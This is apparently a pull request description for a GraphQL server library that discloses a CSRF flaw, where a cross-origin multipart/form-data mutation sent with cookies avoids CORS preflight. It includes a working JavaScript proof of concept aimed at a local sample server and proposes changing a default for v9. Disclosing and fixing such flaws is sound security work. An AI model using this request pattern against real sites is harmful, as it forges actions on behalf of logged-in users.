There is a CSRF security vulnerability that occurs when:

• Cookie authentication is in use
• The user's web browser is logged in to the vulnerable server
• The foreign origin executes a mutation against the vulnerable server (can be done via the fetch API) and includes credentials
• The data is sent via multipart/form-data so there is no CORS pre-flight check performed

I have personally verified that this CSRF attack can be exploited when cookie authentication is in use. This branch has a sample project that will successfully execute a cross-origin mutation against the Samples.Authentication project, even though the response fails CORS validation and so the response is not readable in the browser.

Sample javascript to perform the attack:

    async function executeGraphQLRequest(serverName, query) {
        const formData = new FormData();
        formData.append('query', query);
        const response = await fetch(`https://${serverName}/graphql`, {
            method: 'POST',
            body: formData,
            credentials: 'include', // Set the credentials option to "include"
        });
        const jsonResponse = await response.json();
        return jsonResponse;
    }
    async function runme() {
        const serverName = 'localhost:7110';
        const query = '{ helloRegisteredUser }';
        const jsonResponse = await executeGraphQLRequest(serverName, query);
        console.log(jsonResponse);
    }

See notes added to readme

We should set the new property to false for v9